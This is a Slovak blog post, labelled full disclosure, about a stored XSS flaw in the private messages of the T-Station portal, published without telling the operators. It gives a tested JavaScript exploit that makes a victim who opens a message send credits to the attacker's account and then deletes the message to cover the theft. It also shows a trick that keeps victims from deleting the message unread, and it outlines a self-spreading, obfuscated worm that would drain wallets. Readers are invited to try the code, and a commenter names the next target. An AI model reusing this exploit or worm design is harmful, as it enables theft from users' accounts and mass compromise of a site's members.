Feedback Form
Feed subscription » blog | » comments | » irc | » fórum | » mobi | » twitter

FD: Hacknite si T-Station za pomoci XSS

FD: Hacknite si T-Station za pomoci XSSKeďže som nedávno niekde zachytil, že sa tento portál ruší, rozhodol som sa odhaliť zraniteľnosť XSS, ktorá umožňuje veľa zábavných vecí. Nikoho z kompetentných som neupozorňoval, za mesiac, či dva portál asi zavrú, tak je to už vlastne celkom dosť jedno.

Portál T-Station mal slúžiť ako určitá forma sociálnej siete, kde si ľudia budú vymieňať informácie, sťahovať hudbu, či filmy, alebo len tak “klábosiť”. Aby bolo nakupovanie možné, portál zaviedol systém peňaženka, ktorý funguje celkom spoľahlivo, až na výpisy jednotlivých transakcií, ktorý trvá príšerne dlho. Zaujímavá je aj možnosť darovať niekomu časť, alebo aj všetky kredity, ktoré vo virtuálnej peňaženke máte.

Ako každý komunitný portál, err. dnes sa to volá sociálna sieť, má aj T-Station možnosť posielať súkromné správy vybraným osobám. Text nijak obmedzený nie je a ani bohužiaľ, nie je nijak filtrovaný, čo práve umožňuje využiť cielené XSS, ktoré je typu persistant (trvácna), teda za predpokladu, že prijímateľ správu nezmaže. Ale všetko postupne.

Systém správ

Systém správ funguje celkom jednoducho. Nájdete si osobu, ktorej chcete poslať správu, vyplníte jej nick, text správy a odošlete. Žiadne overovanie, žiadna captcha, proste nič, čo by vás akokoľvek zdržovalo. Správu je možné poslať samozrejme aj sám sebe, čo je celkom nelogické, ale aspoň sa mi zraniteľnosť ľahšie testovala. Správy sú zobrazované v zozname pod sebou a nie sú okamžite otvárané. Do listu je zapísaný nick, ktorý nie je možné infikovať v prípade, že chcete správu niekomu poslať. K nicku sa potom vypíše prvých 21 znakov správy, ktoré tvoria taký malý náhľad správy. Správy je možné vymazať dvoma spôsobmi a to buď komplexne, teda viacero správ naraz, alebo priamo pri otvorení správy, odkliknutím príslušného tlačítka. Obe formy sú posielané cez metódu POST, kdežto prvá, vyžaduje aj funkčný JavaScript. Zaujímavý je aj adresár kontaktov, ktorý obsahuje mená známych, či priateľov, ktorým ste už správu poslali. Zaujímavé je to hlavne z toho dôvodu, že ako prvé mi hneď napadlo, že urobiť XSS červa, ktorý sa bude posielať medzi jednotlivými užívateľmi, by bola otázka niekoľkých krátkych minút.

Darovanie kreditov

Kredity sú získavané zakúpením cez niekoľko systémov, od platby kartou, až po bankový prevod, darovaním, resp. získaním daru, alebo výhrou (poslednú možnosť nemám overenú, ale v pravom paneli svieti tlačítko body zadarmo, tak predpokladám, že to možné je, teda vlastne bolo). Kredity, či body, už dnes nie je možné zakúpiť, len ich minúť. Systém darovania je celkom jednoduchý. Každý nick má profil, kde sa nachádza formulár, v ktorom je možné darovať vybraný počet kreditov dotyčnej osobe. Zaujímavé je, že formulár funguje cez metódu GET a nie POST, čo by teoreticky mohlo darujúceho stáť dvojnásobok, ak by sa náhodou pokúsil vrátiť o stránku späť. Každopádne, “v očiach” JavaScriptu je to prakticky jedno.

Linka, cez ktorú je možné poslať kredity vyzerá takto:
http://myhome.station.zoznam.sk/portal/dt?provider=MyProfile&uid=NICK&doWhat=appreciate&points=2Ako môžete vidieť, dôležité sú dve premenné, uid a points. Uid predstavuje unikátny identifikátor, čo v tomto prípade predstavuje NICK prijímateľa a parameter points predstavuje počet bodov, ktoré chcete prijímateľovi poslať.

Exploit

Už by ste mali mať približnú predstavu o tom, ako celý systém funguje, teda tá časť, ktorú budeme potrebovať pre zneužitie. Keďže nie je obsah správy nijako ošetrovaný, je možné do nej vložiť skript, ktorý vykoná odoslanie bodov z účtu majiteľa na náš, alebo akýkoľvek ľubovoľný. Fantázii sa medze nekladú a keďže stránka so správami obsahuje priamo aj adresár kontaktov, naskytá sa príležitosť urobiť červa, ktorý by sa mohol šíriť po portáli celého hodiny, možno aj dni. Ale to už predbieham. Pre útočníka je samozrejme zaujímavá tá finančná časť, teda body, ktoré si užívatelia poctivo nakupujú. Tie získať vyžaduje prakticky minimálne úsilie. Stačí vytvoriť kód, ktorý po inicializácii vykoná zavolanie linky. Veľmi jednoduché, praktické a účinné. Kód však pre inicializáciu vyžaduje otvorenie správy, čo znamená využiť trošku sociálneho inžinierstva. Sami však pravdepodobne uznáte, že získať dôveru obete, aby si prečítala nevinnú správu v schránke správ nebude vyžadovať priveľké úsilie a pravdepodobne tak urobí väčšina. Príchod novej správy je dosť “násilne” zobrazovaný na okraji stránky v červenom rámčeku (screenshot), čo pravdepodobne donúti užívateľa vojsť do schránky a zaoberať sa správou. Taktiež sa mi podarilo nájsť spôsob, ako užívateľa donútiť správu otvoriť, resp. nedovoliť mu ju zmazať ešte pred prečítaním. Tento spôsob má však jednú malinkú nevýhodu. Rozhodí trošku dizajn stránky, čo by mohlo zbudiť určité podozrenie, no napriek tomu, užívateľ nemá inú možnosť, ako správu otvoriť. Keďže je v zozname správ zobrazovaných prvých 21 znakov každej správy a na hromadné mazanie správ sa používa JavaScript, je možné upraviť text tak, aby kód znefunkčnil, no umožnil následné spustenie kódu po otvorení správy.

Na odstavenie skriptu postačí nechať otvorený tag <script>, ktorý následne zabráni inicializácii kódu pre mazanie správ. Na to je potrebné vložiť tag <script> presne po 13 znakoch, najlepšie bežného textu. Tag však nesmie ostať otvorený, pretože pri otvorení správy sa zobrazujú obe časti, teda aj orezaná, aj celá, s plným znením správy. Všetko je možné ošetriť nižšie zobrazeným kódom.
aaaaaaaaaaaaa<script></script>kódTakto je možnédo správy vložiť akýkoľvek kód, ktorý sa vykoná po jej otvorení. Aby bol celý úkon ešte zaujímavejší, je možné správu po jej otvorení zmazať. Tým sa stane zločin prakticky “neodhaliteľný”.

Na zmazanie správy je možné využiť túto linku.
http://myhome.station.zoznam.sk/portal/dt?action=process&provider=PortletWindowProcessChannel&windowProvider.targetPortletChannel=FastMessagesListPortlet&containerName=MyMessages&windowProvider.currentChannelMode=VIEW&window.portletAction=ACTION&delmsg=MSGID&fromPage=1Jediný parameter, ktorý je potrebné zistiť je aktuálne ID správy, ktoré je uložené v parametri delmsg. Keďže je však element input obsahujúci hodnotu delmsg až po našom skripte, je možné použiť iný element, ktorý sa nachádza pred skriptom a rovnako obsahuje ID správy. Tým je rovnako input s menom mm_hf0. Získať hodnotu z neho môžete rôzne, ja som zvolil tú, ktorú môžete vidieť vo výslednom exploite. Takže výsledný exploit jednoducho vložíte do správy a pošlete ich svojej obeti. Tá keď otvorí správu, príde o 2 kredity z virtuálnej peňaženky a navyše jej bude poslaná správa vymazaná po znovunačítaní stránky, resp. ak obeť stránku opustí, správa “záhadne” zmizne. To dáva útočníkovi obrovské možnosti, pretože obeť bude zaručene veľmi zmetená.

Výsledný exploit si môžete pozrieť tu. Viem, že nie je dokonalý, neošetroval som ho ani na iný prehliadač ako Firefox. Mojím zámerom však nebolo vytvoriť schopného červa, ale POC (proof of concept), ktorý opätovne potvrdí silu XSS.
<script>
var z = document.getElementsByTagName("input")["mm_hf0"].value;
var x = new XMLHttpRequest();
var f = new XMLHttpRequest();
x.open(’GET’,'http://myhome.station.zoznam.sk/portal/dt?provider=MyProfile&uid=zanardi&doWhat=appreciate&points=2′,true);
x.send(null);
f.open(’GET’,'http://myhome.station.zoznam.sk/portal/dt?action=process&provider=PortletWindowProcessChannel&windowProvider.targetPortletChannel=FastMessagesListPortlet&containerName=MyMessages&windowProvider.currentChannelMode=VIEW&window.portletAction=ACTION&delmsg=’+z+’&fromPage=1′,true);
f.send(null);
</script>
Ako prvé vás chcem upozorniť, že som si nick “zanardi” vybral úplne náhodne z komentárov. Nezabudnite pridať text pred kód do správy, v opačnom prípade sa nevykoná! Kód je funkčný a otestovaný, môžete si ho skúsiť sami, možno ho aj upraviť podľa vlastných predstáv, no určite nerozpútavajte žiadny lov na kredity, ktoré sú vám už aj tak zbytočné, keďže sa portál zatvára.

XSS Červ

Viem si veľmi dobre predstaviť červa, ktorý by sa sám replikoval a vyberal všetky kredity obete, ktoré by poslal inam. Ako prvé by mal červ vedieť načítavať adresár kontaktov, ktorý sa nachádza hneď na stránke so správami, čo to celé značne uľahčuje. Ako ďalšie by mal byť schopný poslať sám seba osobám, ktoré získal z adresára obete. Nie je to vôbec zložité, takéhoto červa by dokázal napísať ktokoľvek so začiatočnými znalosťami JavaScriptu. Ďalším stupňom by bolo načítavanie obsahu peňaženky. Tak by mohol červ poslať celý obsah peňaženky (neviem či na jeden krát, neskúšal som posielať žiadne väčšie sumy). Ak by nešlo poslať obsah na jeden krát, mohol by vytvoriť asynchrónne pripojenie a poslať to viacerými časťami. Ihneď potom rozoslať sám seba na všetky uvedené kontakty a zahladiť stopy. Určite by pomohlo doplnenie rôznych hlášok, ktoré by správy robili zaujímavejšími, aby si užívatelia nemohli všimnúť, že správa nepochádza od ich priateľa, ale od červa. To je rovnako jednoduché. Samozrejmosťou je doplnenie podpory pre väčšinu prehliadačov, minimálne operu a IE. Najvyšším stupňom by bol polymorfný kód, ktorý by sa po každom odoslaní trošku zmenil. Možno by stačilo aj kód jednoducho “zakódovať” do niektorého iného typu kódovania, napríklad do “premenných”. Kód by bol potom nečitateľný pre všetkých, ktorí nepoznajú tieto techniky. Možno by sa našlo aj množstvo iných možností, ktoré by sa na tomto portáli dali vykonať, minimálne by sa dali posielať sms, ktoré by mohli zahlcovať nejaké konkrétne telefónne číslo, alebo by mohol zbierať emaily, možností je určite dosť.

Záver

Už dlho ma mnoho čitateľov prosilo o konkrétny príklad, ako využiť XSS v praxi a myslím, že tento príklad dá každému dostatočnú predstavu o zákernosti tejto zraniteľnosti/techniky. Portálov so zanedbanou bezpečnosťou sa dá vo svete, ale aj na Slovensku nájsť mnoho a ja pevne verím, že za nejaký čas budú tvorcovia omnoho viac opatrnejší a nebudú túto zraniteľnosť považovať len za chybu dizajnu.

PS: FD v nadpise článku znamená full disclosure, teda plné odhalenie.



Príbuzné články:
  • FD: Hacknite si blog.sme.sk za pomoci XSS
  • FD: Hacknite si nové VideoAlbumy Azet.sk
  • XSS v praxi, hacknite si MySpace
  • Weby viac ako 10,000 spoločností boli zneužité na šírenie malwaru za pomoci XSS
  • Jednoduché zobrazenie skrytých hesiel z formulárov za pomoci JavaScriptu


  • 2 Responses to “FD: Hacknite si T-Station za pomoci XSS”


    1. 1 Kozo May 10th, 2008 at 19:20

      Pekne. Neutekal som si to hned odskusat, ale vyzera to jedle :-{))))

    2. 2 oooo May 10th, 2008 at 20:34

      dneska bude pokracovanie, dalsi ciel, sme.sk :)

    Leave a Reply